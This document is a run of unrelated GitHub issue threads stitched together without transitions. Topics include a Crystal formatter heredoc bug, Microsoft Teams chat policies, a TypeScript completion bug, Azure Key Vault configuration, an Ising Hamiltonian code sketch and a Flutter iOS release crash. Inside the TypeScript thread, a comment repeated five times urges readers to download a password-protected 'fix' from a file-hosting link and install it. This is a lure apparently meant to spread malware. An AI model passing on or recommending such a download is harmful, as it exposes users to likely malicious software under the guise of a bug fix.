Format tool removes whitespace from heredoc

The format tool shows an odd and unwanted behaviour with heredocs: In some cases, when the heredoc uses leading whitespace, the formatter removes a single whitespace at the beginning. Multiple runs of the formatter each remove only one whitespace until there is none left. It removes only leading whitespace which is to be ignored, so the meaning of the source code does not change. Nevertheless, the leading whitespace is usually there for a reason (readability) and it is annoying to revert.
Example:
{
  "foo" => <<-END
    bar
    END,
}

Result of crystal tool format:
{
  "foo" => <<-END
   bar
   END,
}

Result of running crystal tool format four times:
{
  "foo" => <<-END
bar
END,
}

I found this to happen only when the heredoc is a value in a hash definition, but there might be other cases, too. The heredoc without the hash will not be altered:
<<-END
    bar
    END,

Could be related to #4000


chore: enable constant inputs for more blackbox

Description
Problem*
We create witness for blackbox inputs, even when the value is constant, which generates un-optimal circuit.
Summary*
Some blackbox can now support constant inputs (cf. PR https://github.com/AztecProtocol/aztec-packages/pull/7613) so we enable the use of constant inputs for them.
Additional Context
Documentation*
Check one:

[X] No documentation needed.
[ ] Documentation included in this PR.
[ ] [For Experimental Features] Documentation to be submitted in a separate PR.

PR Checklist*

[X] I have tested the changes locally.
[X] I have formatted the changes with Prettier and/or cargo fmt on default settings.

Looks like we are getting an assertion failure inside the backend for the gates diff action.


Chat in meetings

(https://docs.microsoft.com/en-us/microsoftteams/meeting-policies-participants-and-guests#chat-in-meetings)
This is listed as a per user setting.
This is true for user's in the tenancy but as this parameter also applies to anonymous users it based on the meeting organizer's policy it should also be listed as per organizer.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 4521de2b-1aae-93de-ee1a-222146194700
Version Independent ID: b4f9087c-e1a3-8b47-917c-7c294d46fcca
Content: Manage meeting policies for participants and guests - Microsoft Teams
Content Source: Teams/meeting-policies-participants-and-guests.md
Service: msteams
GitHub Login: @CarolynRowe
Microsoft Alias: crowe

Hello @thewrabbit
I did some tests, and I believe this is both a per participant and per organizer policy depending from the point of view.
For example, if a user that has Turn it off for everyone joins a meeting where the organizer has Turn it on for everyone it will not access the meeting chat.
If the same user organizes a meeting, meeting participants, regardless of its own setting, will not access the meeting chat. (even anonymous users).
If an organizer that has Turn it on for everyone invites an anonymous user, the anonymous user will be able to access the chat.
Is this what you have experienced?
Thanks

Yes that's what I expect.
The most restrictive policy applies.
If the organizer has meeting chat disabled then no-one will be able to chat.
If the organizer has meeting chat enabled then the participant policy applies - if they are anonymous they will be able to chat, if they are a tenancy user and have meeting chat disabled they won't be able to chat.
If the organizer has meeting chat enabled except for anonymous - if they are anonymous then they won't be able to chat, if they are a tenancy user it depends on their individual policy (disabled=no chat, enabled = chat).
And regardless of the settings the chat is visible to all users - the only impact is their ability to contribute to it.
So it is both a per organizer and a per user setting.  The support article has it listed only as a per user setting.

An update is coming to the article.

The article has been updated thanks to your feedback!

There's still errors in this section.
In the table, the 2nd setting value should be "OFF" for everyone based on the behavior description.
The first bullet under examples says:
"If the organizer has Chat in meetings set to On for everyone or On for everyone but anonymous users, then a user's individual policy will apply and any users with On for everyone set won't be able to chat in the meeting."
I think this is wrong and it should say ...."any users with Off for everyone set won't be able to chat in the meeting"
The second bullet seems to be wrong as well:
"If the organizer has Chat in meetings set to On for everyone, the organizer's policy applies and no one will be able to chat in the meeting."
Shouldn't that read "If the organizer has Chat in meetings set to OFF for everyone...."?
Why would no one be able to chat if they organizer has it set to On for everyone.

@jonnyc109 completely agree - they've changed it since they fixed it in August last.  I didn't trawl through the edit history to find out when.  As this is closed you might be better raising a new issue.


[improvement]: Graph nodes extraction improved

Related issues:
#1975
#1906
#1805

@spike-spiegel-21 Have you tested it on a few examples? The code seems fine to me.

@spike-spiegel-21 Have you tested it on a few examples? The code seems fine to me.

Yes. LGTM


Remapped property names has wrong completion, error messages and code actions (snippets)

🔎 Search Terms
"remapped property", "mapped types"
🕗 Version & Regression Information

This changed between versions 4.9.5 and 5.0.4

⏯ Playground Link
https://www.typescriptlang.org/play/?ts=5.7.0-dev.20240826#code/C4TwDgpgBAMglgZ2BAdhATgFQgWzAGwENkAeTAGigGUoIAPZFAEwSiXThQHNKBJWhqhZtgHblAC8UAEQASAN4BGAL7SAfJKjyAUFD0BtANJROUANYQQAewBmUTFEKtj9RsPacuuvT6gB+agE3VgADBU4bDCgAMWUFXjj5CKiAJWUQ-ygw+ViFQ0S0jIAuKGMSwwBdb18oEoAKfERGDHqwQhB8K0ImEswjCoBKSQ0ANys4JiGJUfGmAG5tZQXQSFgm1ABBAGNgOCsUQgAjfAgSAFENKXgkVAxsPCJSM8ppbqYAKmvm9GkoAB8ZOhcFYRhBPus0D8Xu91MtwNAAMKNLZmM6glDAKgAVzAYCs6GAmi+mx2ewOx1O8igSLgKJKAHIEFYcBAALRbZFmVkQdHAVltDpdJj0qDKNQLbRbfZIKCEqR1AYlGkotGoTE4vEE4ZaapQIHALHoFA6mo+AD0ZqgvGNmBoAAUiCAuOgrFjmLKABYYaCIKAoKxsFBwXEQYCsOr4q1QJj7emEsz+gDuUA9VmTwADqCOJ09uAGut8FqghyxhNMIwQUqY0GAXqBJlYhEDwcghJCb2VZmJkIaEIwAwydRWEErHDAwAAdAgsVwuCPJxynAgALK4Q4YKhBkNhidZik9WXoLEQfOmvRFxMe2kekwoBAYMNZTu9m6QoZU2QABlFGU4N26UC2FkHact2GAvt875QF+P66soixAA
💻 Code
type ListenerTemplate<T, S extends string, I extends string = "${1}"> = {
   [K in keyof T as K extends string
       ? S extends `${infer F}${I}${infer R}` ? `${F}${K}${R}` : K : K]
       : (listener: (payload: T[K]) => void) => void;
};
type ListenActionable<E> = ListenerTemplate<E, "add*Listener" | "remove*Listener", "*">;
type ClickEventSupport = ListenActionable<{ Click: 'some-click-event-payload' }>;

const t = (): ClickEventSupport => {
    return {
        // In TS Playground there is no snippets (or I don't know how to enable them)
        // but in vscode there is a snippet `addClickListener(listener)` (typescript.suggest.classMemberSnippets.enabled: true)
        // which inserts `Click(listener) { $0 }` instead of `addClickListener(listener) { $0 }`
    }
}

🙁 Actual behavior
Completion with snippets is generating methods which are not in the interface:
type ListenerTemplate<T, S extends string, I extends string = "${1}"> = {
    [K in keyof T as K extends string
    ? S extends `${infer F}${I}${infer R}` ? `${F}${K}${R}` : K : K]
    : (listener: (payload: T[K]) => void) => void;
};
type ListenActionable<E> = ListenerTemplate<E, "add*Listener" | "remove*Listener", "*">;
type ClickEventSupport = ListenActionable<{ Click: 'some-click-event-payload' }>;

const t = (): ClickEventSupport => {
    return {
        Click(listener) {

        },
    }
}

🙂 Expected behavior
I expect  completion to provide working snippets.
type ListenerTemplate<T, S extends string, I extends string = "${1}"> = {
    [K in keyof T as K extends string
    ? S extends `${infer F}${I}${infer R}` ? `${F}${K}${R}` : K : K]
    : (listener: (payload: T[K]) => void) => void;
};
type ListenActionable<E> = ListenerTemplate<E, "add*Listener" | "remove*Listener", "*">;
type ClickEventSupport = ListenActionable<{ Click: 'some-click-event-payload' }>;

const t = (): ClickEventSupport => {
    return {
        addClickListener(listener) {

        },
    }
}

Additional information about the issue
I already reported a related bug,  it was fixed partially: only code action for implement interface was fixed.
I plan to fix this bug by myself, MR is in progress.

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Merchandising in AC

In the Autocomplete Controller there is an issue with terms and history suggestions when using showResults: true. The problem shows up when there is also a redirect in place.

See Slack thread for more information.


Q: Rendering back to markdown?

How easy would it be to implement the following pipeline with markdown-it:

Parse to AST
Transform AST (specific application in mind is automatic translation)
Save back to Markdown

I have already established that an AST-like representation exists and can be obtained via an API call. It appears that AST transformation can either be done externally or as part of the pipeline via custom plugin(s). What I don't find is a renderer back into Markdown syntax. Does one exist, or is this something that will also have to be implemented?

Markdown-it has no AST. It uses lower level tokens stream. Here is call of parser and renderer https://github.com/markdown-it/markdown-it/blob/master/lib/index.js#L543

Um - isn't this the HTML renderer? I was asking about the existence of a Markdown renderer.
Token stream should be as good as the AST for my purposes, perhaps better (simpler to process).

That's not html renderer. I'm not sure you question is related to this package.

...Render markdown string into html. It does all magic for you :) ...
This renderer, right? this.parse(src, env) produces a token stream and this.renderer.render(...) produces HTML text from it? What I'm asking is if there's an out-of-the-box way to produce Markdown text instead.

What I'm asking is if there's an out-of-the-box way to produce Markdown text instead.

I don't know. That's out of this package scope.

No worries - I was just asking, not starting a flame :)  Has impact on the scope of what I am looking to achieve.
Thanks!


Added building SparseSimulator without Cake

Also replaced cl.exe compiler on Win with Clang.
It is not to main it is t o a feature branch.

Please review.


Process explorer default size is too small

This really annoys me a ton having to use the process explorer. I suggest to revert the change that introduced this.

I figured this was due to the scale factor division and opened https://github.com/microsoft/vscode/pull/175085 to remove that. We do not use this for normal workbench windows, so I doubt we need to use this at all.
However, seeing through the code, I notice that the code in windowImpl for dealing with window state should be extracted into something the process explorer can reuse to ensure the window never falls out of the visible display.

Closing as #175085 fixed the problem for @bpasero and bounds are already checked here:
https://github.com/microsoft/vscode/blob/1135225e4da567ecb8b8543c6ea8f5b98bdf0f3c/src/vs/platform/issue/electron-main/issueMainService.ts#L420-L447
The dimensions of the window do change for me, but only when the process explorer changes monitors that differ in density once, which isn't a big deal.


Get 404 responses when testing local petstore APIs

Hi! I'm trying to use swagger_tester to validate my swagger spec. But when i tested local petstore   APIs(downloaded from http://petstore.swagger.io/v2/swagger.json), i got 404 responses. In the case of online petstore APIs i got 200 responses. What i mean is i got different responses when testing the same APIs online and locally. What's the problem? Any help is much appreciated.
My code:
swagger_test(swagger_yaml_path='./input/swagger-petstore.yaml')
in python 2.7 win10.

When you use swagger_test with a path to a swagger.yaml file you also need to have the implementation of the API (the python file used by connexion). See connexion doc for more details.
If you don't use connexion, you should start your api server and give the url to swagger_test.

Thank you for your response. I think i should understand how connexion works first, I will have a try!


Unify depth cache validation

Status: ready for review by commit. @moosichu / @daleeidd let me know if you are up for taking a look.
The validation code on the ocean depth cache was split into two places.
This change unifies it into one place and has an option to perform the validation on Start() (in addition to the 'Validate' button in the OceanRenderer inspector) which defaults to true. This way people get the full validation by default and can disable it if desired.
Added a validation error for the depth cache Y scale being 0, which breaks the cache population.

Neat. Validate on start option is nice. The 'Force Always Update Debug' check happens twice though.

Also, while you're on this file, the _geometryToRenderIntoCache needs true to work in 2019.2 like _layerNames.

Good points, thanks! I believe these are addressed, let me know if you feel this is good to merge?

All good from me

Thanks!


Bug in Simulator Learn Spelling Result

Data of previous current test on simulator is not reset  by clicking on Exit on Back Press.
Thus giving wrong results.

closed via #88


Question: Can I not hardcode function name?

Currently:
@binding.follow('noop')
def funcname():
    work_queue, done_queue, ologger = utils.comm_binders(funcname)

Will this work in your framework? Can I use this instead?
@binding.follow('noop')
def funcname():
    import sys
    work_queue, done_queue, ologger = utils.comm_binders(sys._getframe().f_code.co_name)

ref: https://stackoverflow.com/questions/5067604/determine-function-name-from-within-that-function-without-using-traceback

Answer: Yes.

Looks like sys._getframe().f_code.co_name returns a string, it'll work but not as intended. 🤔 comm_bindings needs the function itself. Let me think about this a little bit?

Ah, it's okay if this is not trivial. We can just close as "won't fix". Not worth spending much time over.

its definitely something I'd like to investigate more. Every now and again, I cross the function names and it ends up creating a nasty bug. It'll be a good interface improvement for the API


[FEATURE REQ] Make spring-cloud-azure-starter-keyvault-secrets' configuration properties more reasonable

Context
In https://github.com/Azure/azure-sdk-for-java/issues/28128#issuecomment-1097407872, @stliu think current property's behavior does not reasonable.
Problem
spring:
  cloud:
    azure:
      profile:
        tenant-id: ${AZURE_TENANT_ID}
      credential:
        client-id: ${AZURE_CLIENT_ID}
        client-secret: ${AZURE_CLIENT_SECRET}
      keyvault:
        secret:
          property-source-enabled: true
          endpoint: ${AZURE_KEYVAULT_ENDPOINT}

If we satisfy this requirement, some other property may confuse customer. For example: Does spring.cloud.azure.keyvault.secret.enable or spring.cloud.azure.keyvault.secret.enable can be used to disable all Key Vault property-source?
Goal
For spring-cloud-azure-starter-keyvault-secret's cofigurable properties, design each property's function, implement it, and explain it well in reference doc and changelog.
Solution
Here is a proposal about each property's function:
Yaml File Examples
spring:
  cloud:
    azure: # 1
      profile: # 2
        tenant-id: # 3
      credential: # 4
        client-id: # 5
        client-secret: # 6
      keyvault: # 7
        secret: # 8
          enabled: # 9
          property-source-enabled: # 10
          endpoint: # 11
          profile: # 12
            tenant-id: # 13
          credential: # 14
            client-id: # 15
            client-secret: # 16
          property-sources: # 17
          - name: # 18
            enabled: # 19
            endpoint: # 20
            profile: # 21
              tenant-id: # 22
            credential: # 23
              client-id: # 24
              client-secret: # 25
          - name: # 26
            enabled: # 27
            endpoint: # 28
            profile: # 29
              tenant-id: # 30
            credential: # 31
              client-id: # 32
              client-secret: # 33

Behavior Changes
# 11 ~ # 16:

Current behavior in version 4.0.0: this property is only used to configure a SecretClient bean, this SecretClient will not enable the feature of property-source.
New designed behavior: this property can be used to configure both SecretClient bean and enable the feature of property-source.

# 10:

Current behavior in version 4.0.0: It's used to enable/disable all property-source configured in #17 ~ #33.
New designed behavior: It's used to enable/disable the property-source configured in # 11 ~ # 16. Note: It has no relationship with property-source configured in #17 ~ #33.

# 9:

Current behavior in version 4.0.0: It's used to enable /disable the SecretClientbean configured by# 11~# 16`.
New designed behavior: It's used to enable / disable all features configured in #10 ~ #33.

Disable All Property-Sources:
In new design, there is no property used to disable all property-sources.
Priority of Property-Sources

# 11 has the highest priority.
For the property-sources configured in # 17, the priority is decided by the order. For example: # 18 has higher priority than # 26.

Behavior Not Changed
All other behaviors not changed. For example:

If # 13 is not configured, it will use # 3 instead.
If # 22 is not configured, it will use # 3 instead. Note: It has no relationship with #13.

@chenrujun  sorry but this is still not clear, if there is spring.cloud.azure.keyvault.secret.endpoint why then shall spring.cloud.azure.keyvault.secret.property-sources[].endpoint should be filled ?
I did not have  spring.cloud.azure.keyvault.secret.endpoint in my yaml config file and hit those errors :
Caused by: java.net.MalformedURLException: no protocol: ${ENDPOINT}
Caused by: java.lang.IllegalArgumentException: The Azure Key Vault url is malformed.
java.lang.IllegalStateException: Failed to configure KeyVault property source

Also why does the docs at https://learn.microsoft.com/en-us/training/modules/secure-application-secrets-use-key-vault/6-update-application-configure refers to azure.keyvault.uri ??
Azure:
    keyvault:
        enabled: true
            uri:

Why shall I start my App with JVM options below ? :
-Dazure.keyvault.uri=https://kv-XXXXXX.vault.azure.net -Xms512m -Xmx1024m -Dspring.profiles.active=mysql,key-vault,cloud

@ezYakaEagle442

Also why does the docs at https://learn.microsoft.com/en-us/training/modules/secure-application-secrets-use-key-vault/6-update-application-configure

As discussed by email, the page is out dated.

closing in favor of #30544


Add email support

Implement SMTP utilities for sending confirmation/password reset etc emails

Done as of https://github.com/datacite/saluki/commit/08dcfa04b85f8ebb678bff6993b901d3aa7b185d


Implement numerical simulation of the Ising Hamiltonian evolution

It would be interesting to have the possibility to numerically simulate the full Ising Hamiltonian (as an Hermitian complex matrix) time evolution during the annealing process. This would allow to study for instance the behaviour over time of the minimum energy gap (i.e. difference between the lowest eigenvalue $\lambda_0$, corresponding to the Hamiltonian ground state, and the second-lowest eigenvalue $\lambda_1$, corresponding to the Hamiltonian first excited state).
The superconducting QPU at the heart of the D‑Wave quantum annealing system is a controllable, physical realization of the quantum Ising spin system in a transverse field. Analog control lines enables to implement the following time-dependent Hamiltonian:

In the equation above, $\hat{\sigma}_{x}$ and $\hat{\sigma}_{z}$ represent the Pauli-X and Pauli-Z matrix operators, $h_{i}$ and $J_{i,j}$ are the linear and quadratic coefficients defining the final Hamiltonian (encoding the optimization problem), and the functions $A(s)$ and $B(s)$ control the annealing schedule ($s$ is time rescaled in $[0,1]$). See D-Wave Systems docs for an extensive description of the quantum annealing implementation and controls.

Here is a sketch of a naive implementation just to give an idea:
import functools
import numpy as np

identity = np.array([[1, 0],
                     [0, 1]])

sigma_x = np.array([[0, 1],
                    [1, 0]])

sigma_z = np.array([[1, 0],
                    [0, -1]])

def get_H_init(num_qubits):
    H_init = np.zeros(shape=(2**num_qubits, 2**num_qubits))
    for i in range(num_qubits):
        terms = [identity] * num_qubits
        terms[i] = sigma_x
        H_init -= functools.reduce(np.kron, terms)
    return H_init

def get_H_final(num_qubits, h, J):
    H_final = np.zeros(shape=(2**num_qubits, 2**num_qubits))
    for i in range(num_qubits):
        terms = [identity] * num_qubits
        terms[i] = sigma_z
        H_final += h[i] * functools.reduce(np.kron, terms)
    for i in range(num_qubits):
        for j in range(i + 1, num_qubits):
            terms = [identity] * num_qubits
            terms[i] = sigma_z
            terms[j] = sigma_z
            H_final += J[i, j] * functools.reduce(np.kron, terms)
    return H_final

def anneal_schedule(s):
    A = 1 - s
    B = s
    return A, B

def get_ising_H(H_init, H_final, s):
    A, B = anneal_schedule(s=s)
    ising_H = A * H_init + B * H_final
    return ising_H

To make it more efficient, a sparse representation of the Hamiltonian matrix could be used (see scipy.sparse module). Note that the linalg sub-module provides for instance the function eigsh(A, k=2, which='SA') to compute the first $k=2$ smallest eigenvalues of an Hermitian sparse matrix $A$.


Add copyright / license for the logs library

Should licenses for re and fmt be added as well?

@glennsl - oh, good catch! Yes, we need to include all the top-level dependencies licenses. I'll bring them over as part of this PR.


Support  configurable initialize sql statement for engine startup

1. Describe the feature
Currently,  the engine uses hardcoded show databases to force initialization with catalog eagerly bootstrapping too
we  can make it configurable with a comma separate query list and select current_database() might be used as default since it's more lightweight than show databases in real-world cases
2. Motivation
Initialize SQLs can meet some particular cases when users may want something to be activated by default before queries.
3. Describe the solution
kyuubi.engine.initialize.sql can be introduced to achieve this goal  with a default value SELECT CURRENT_DATABASE()
4. Additional context

CC @turboFei  Can you help with this?

sure, with pleasure


Add a "Is your form court-related" question on the "interview.form_type" screen

On the screen for interview.form_type, interview.allowed_courts and interview.allowed_courts_text, can we add a question: ”Is your template court-related: Yes/No” on the top? Then we can:
a). Hide those three questions if the answer is No, and set default value for them (None of the above).
b). Remove “other” value for interview.form_type, because it's really "None of the above".
Or can we determine this without a question?
See Weaver input/output overview worksheet question 1.

Closed by https://github.com/SuffolkLITLab/docassemble-assemblylinewizard/pull/387, which, despite some merge conflicts, should be good.


giphy: Split is_giphy_enabled to a separate module

This removes giphy from the critical path of the TypeScript migration.

Sure, works for me, merged, thanks @andersk!


Crash on archived iOS ipa with bitcode enabled (App Store install), Library not loaded: ./libFlutter.dylib

Hey guys,
Here at ArcTouch, we are exploring the Flutter modules and all its power. We were able to integrate a module on both Android and iOS and it works great on debug. However, when we release a build on our Jenkins, we get an error when the app is opened.
We know the "add-to-app" support is still in preview, but we created a release build for Android and it worked, but it doesn't work for iOS, with the following error:
Termination Description: DYLD, Library not loaded: ./libFlutter.dylib | Referenced from: /var/containers/Bundle/Application/FC2EB865-A3C1-45F6-86AE-186D59120D73/example_ios.app/example_ios | Reason: image not found

Steps to Reproduce

Create a flutter module (we used example_module for the project name)
Create a new iOS project on xcode (we used example_ios)

We are using xcode 11, so we deleted SceneDelegate.swift.

Run pod init in example_ios
Add the following to the generated Podfile:

flutter_application_path = '../example_module/'
load File.join(flutter_application_path, '.ios', 'Flutter', 'podhelper.rb')

target 'example_ios' do
  use_frameworks!

  # Pods for example_ios
  install_all_flutter_pods(flutter_application_path)
end

Run pod install
Follow the add-to-app tutorial and make the changes to import the module
Sign your iOS native project
Try to create a release build of the iOS app

Target Platform:  iOS
Target OS version/browser: 11.0+
Devices: Any
Logs
Jenkins build
+ flutter channel master
Downloading Dart SDK from Flutter engine b863200c37df4ed378042de11c4e9ff34e4e58c9...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  3  263M    3 9152k    0     0  14.3M      0  0:00:18 --:--:--  0:00:18 14.3M
 27  263M   27 73.0M    0     0  44.9M      0  0:00:05  0:00:01  0:00:04 44.9M
 49  263M   49  131M    0     0  50.1M      0  0:00:05  0:00:02  0:00:03 50.1M
 69  263M   69  183M    0     0  50.6M      0  0:00:05  0:00:03  0:00:02 50.6M
 96  263M   96  253M    0     0  54.9M      0  0:00:04  0:00:04 --:--:-- 54.9M
100  263M  100  263M    0     0  55.3M      0  0:00:04  0:00:04 --:--:-- 61.4M
Building flutter tool...
Switching to flutter channel 'master'...
git: Switched to branch 'master'
git: Your branch is behind 'origin/master' by 30 commits, and can be fast-forwarded.
git:   (use "git pull" to update your local branch)
+ cd example_module
+ rm -rf '/Users/arctouch/Jenkins/workspace/Flutter-Poc/archive/*'
+ rm -rf '/Users/arctouch/Jenkins/workspace/Flutter-Poc/publish/*'
+ rm -rf '/Users/arctouch/Jenkins/workspace/Flutter-Poc/output/Publish/*'
+ /usr/local/bin/flutter/bin/flutter build ios --release --build-number <IP_ADDRESS> --build-name=22
Downloading Dart SDK from Flutter engine 0d749933bcc63b53771e37e6cc28fa43c3d1fd06...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  7  259M    7 20.6M    0     0  19.9M      0  0:00:13  0:00:01  0:00:12 19.9M
 29  259M   29 76.6M    0     0  37.6M      0  0:00:06  0:00:02  0:00:04 37.6M
 49  259M   49  128M    0     0  41.0M      0  0:00:06  0:00:03  0:00:03 41.0M
 71  259M   71  184M    0     0  44.9M      0  0:00:05  0:00:04  0:00:01 44.9M
 92  259M   92  240M    0     0  46.3M      0  0:00:05  0:00:05 --:--:-- 46.7M
100  259M  100  259M    0     0  47.9M      0  0:00:05  0:00:05 --:--:-- 54.5M
Building flutter tool...
Running "flutter pub get" in example_module...                      2.6s
Building com.arctouch.exampleModule for device (ios-release)...
Signing iOS app for device deployment using developer identity: "#######"
Running Xcode build...
Xcode build done.                                           225.5s
Built /Users/arctouch/Jenkins/workspace/Flutter-Poc/example_module/build/ios/iphoneos/Runner.app.
[Flutter-Poc] $ /bin/sh -xe /var/folders/dp/1ztzp1p136j_2rfv57gj5hc00000gn/T/jenkins3641580055811886166.sh
+ cd example_ios
+ pod install
Analyzing dependencies
Downloading dependencies
Installing Flutter (1.0.0)
Installing FlutterPluginRegistrant (0.0.1)
Installing example_module (0.0.1)
Generating Pods project
Integrating client project
Pod installation complete! There are 3 dependencies from the Podfile and 3 total pods installed.
[iphone] $ ant -file buildscript.xml -DARCHIVE_EXPORT_METHOD=enterprise -DSCHEME=example_ios -DEXPORT_BUNDLE_IDENTIFIER=com.arctouch.example-ios -DOUTPUT_FOLDER=../../output -DSHARED_FOLDER=. -DPLIST_FILE=example_ios/Info.plist -DPUBLISH_FOLDER=../../publish -DXCODE_WORKSPACE=example_ios -DCONFIGURATION=Release -DCUSTOM_PRODUCT_NAME=example_ios -DBUNDLE_VERSION=1.0.0 -DPROJECT_BASE_PATH=../../example_ios -DSDK_NAME=iphoneos -DBUILD_NAME=Example-iOS -DBUILD_IS_DELIVERABLE=yes -DRUN_COCOAPODS=no -v PROCESS_DEVICE_ARCHIVE
[...]
[exec] ** ARCHIVE SUCCEEDED **
[...]
BUILD SUCCESSFUL
Total time: 5 minutes 54 seconds

flutter doctor -v
[✓] Flutter (Channel master, v1.10.15-pre.23, on Mac OS X 10.14.6 18G95, locale en-US)
    • Flutter version 1.10.15-pre.23 at /usr/local/bin/flutter
    • Framework revision 440753bae8 (2 days ago), 2019-10-08 21:33:17 -0700
    • Engine revision 0d749933bc
    • Dart version 2.6.0 (build 2.6.0-dev.0.0 f4a72bfc64)

[!] Android toolchain - develop for Android devices (Android SDK version 29.0.2)
    • Android SDK at /Users/arctouch/Library/Android/sdk
    • Android NDK at /Users/arctouch/Library/Android/sdk/ndk-bundle
    • Platform android-29, build-tools 29.0.2
    • ANDROID_HOME = /Users/arctouch/Library/Android/sdk
    • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version openjdk version "1.8.0_112-release"
    ! Some Android licenses not accepted.  To resolve this, run: flutter doctor --android-licenses

[✓] Xcode - develop for iOS and macOS (Xcode 11.0)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 11.0, Build version 11A420a
    • CocoaPods version 1.8.3

[!] Android Studio (version 2.3)
    • Android Studio at /Applications/Android Studio.app/Contents
    ✗ Flutter plugin not installed; this adds Flutter specific functionality.
    ✗ Dart plugin not installed; this adds Dart specific functionality.
    • Java version openjdk version "1.8.0_112-release"

[!] Connected device
    ! No devices available

Crash report:
{"app_name":"example_ios","timestamp":"2019-10-10 12:10:26.70 -0300","app_version":"1.0.0","slice_uuid":"210cb836-83ac-3a03-98b7-c650940fc768","adam_id":0,"build_version":"<IP_ADDRESS>","bundleID":"com.arctouch.example-ios","share_with_app_devs":false,"is_first_party":false,"bug_type":"109","os_version":"iPhone OS 11.0.3 (15A432)","incident_id":"7B238C33-2F71-4ECE-8741-88DF5BCDA3C4","name":"example_ios"}
Incident Identifier: 7B238C33-2F71-4ECE-8741-88DF5BCDA3C4
CrashReporter Key:   35c317441e6ef221e78ee758e85eb6cf02331dc8
Hardware Model:      iPhone9,4
Process:             example_ios [566]
Path:                /private/var/containers/Bundle/Application/FC2EB865-A3C1-45F6-86AE-186D59120D73/example_ios.app/example_ios
Identifier:          com.arctouch.example-ios
Version:             <IP_ADDRESS> (1.0.0)
Code Type:           ARM-64 (Native)
Role:                Foreground
Parent Process:      launchd [1]
Coalition:           com.arctouch.example-ios [970]

Date/Time:           2019-10-10 12:10:26.6692 -0300
Launch Time:         2019-10-10 12:10:26.6366 -0300
OS Version:          iPhone OS 11.0.3 (15A432)
Baseband Version:    2.00.01
Report Version:      104

Exception Type:  EXC_CRASH (SIGABRT)
Exception Codes: 0x0000000000000000, 0x0000000000000000
Exception Note:  EXC_CORPSE_NOTIFY
Termination Description: DYLD, Library not loaded: ./libFlutter.dylib | Referenced from: /var/containers/Bundle/Application/FC2EB865-A3C1-45F6-86AE-186D59120D73/example_ios.app/example_ios | Reason: image not found
Triggered by Thread:  0

Filtered syslog:
None found

Thread 0 Crashed:
0   dyld                          	0x0000000102a72f1c 0x102a44000 + 192284
1   dyld                          	0x0000000102a726f4 0x102a44000 + 190196
2   dyld                          	0x0000000102a72720 0x102a44000 + 190240
3   dyld                          	0x0000000102a48498 0x102a44000 + 17560
4   dyld                          	0x0000000102a4b714 0x102a44000 + 30484
5   dyld                          	0x0000000102a4521c 0x102a44000 + 4636

Thread 0 crashed with ARM Thread State (64-bit):
    x0: 0x0000000000000006   x1: 0x0000000000000001   x2: 0x000000016d526510   x3: 0x000000000000008b
    x4: 0x000000016d526110   x5: 0x0000000000000000   x6: 0x0000000000000000   x7: 0x0000000000000a90
    x8: 0x0000000000000020   x9: 0x0000000000000009  x10: 0x203a6e6f73616552  x11: 0x6f6e206567616d69
   x12: 0x20200a736f695f65  x13: 0x203a6e6f73616552  x14: 0x6f6e206567616d69  x15: 0x00646e756f662074
   x16: 0x0000000000000209  x17: 0x000000008000001f  x18: 0x0000000000000000  x19: 0x0000000000000000
   x20: 0x000000016d526110  x21: 0x000000000000008b  x22: 0x000000016d526510  x23: 0x0000000000000001
   x24: 0x0000000000000006  x25: 0x00000001028d8000  x26: 0x0000000102a86000  x27: 0x0000000102a85f88
   x28: 0x000000016d527b10   fp: 0x000000016d5260e0   lr: 0x0000000102a726f4
    sp: 0x000000016d5260a0   pc: 0x0000000102a72f1c cpsr: 0x00000000

Binary Images:
0x1028d8000 - 0x1028dffff example_ios arm64  <210cb83683ac3a0398b7c650940fc768> /var/containers/Bundle/Application/FC2EB865-A3C1-45F6-86AE-186D59120D73/example_ios.app/example_ios
0x102a44000 - 0x102a83fff dyld arm64  <113803ec7f6936e6b06abef57a8755fd> /usr/lib/dyld
0x102ae0000 - 0x102f7bfff App arm64  <b82a0cc1ddaa31e5b3567424f064f135> /var/containers/Bundle/Application/FC2EB865-A3C1-45F6-86AE-186D59120D73/example_ios.app/Frameworks/App.framework/App

EOF

DEMO
Debug

Release

Note
We don't know if it's necessary to build the module before building the iOS app. We are just not sure how to change the build variant for the Flutter module and even if we have to change at all. We tried to build only the module (without integrating) to create an iOS app in release and it worked. That's why we are building the module before building the app. We tried first without building the module, but we were getting the same error.

Maybe module was last run in Debug, but when you switch to Release on the host app it's still trying to embed the Flutter debug framework?
Can you try building your module in release mode, then pod install in your host app?
flutter build ios

If that's the problem, hopefully this pending PR fixes the issue.

Note
We don't know if it's necessary to build the module before building the iOS app.

You theoretically shouldn't have to (assuming we fix the bug you are seeing) except when you add new plugins to your module.  From the docs:

Whenever you change the Flutter plugin dependencies in some/path/my_flutter/pubspec.yaml, you need to run flutter pub get from some/path/my_flutter to refresh the list of plugins read by the podhelper.rb script. Then run pod install again from some/path/MyApp.

@jmagman we do build the module before building the host app:
In the Jenkins log:
 cd example_module
[...]
+ /usr/local/bin/flutter/bin/flutter build ios --release --build-number <IP_ADDRESS> --build-name=22

Have you tried running flutter clean and then running the build command in release right after? this will make sure you don't have the previous build in debug.

In the Jenkins log:

Sorry I missed that.
Hm what even is libFlutter.dylib?  Flutter is vended as Flutter.framework...
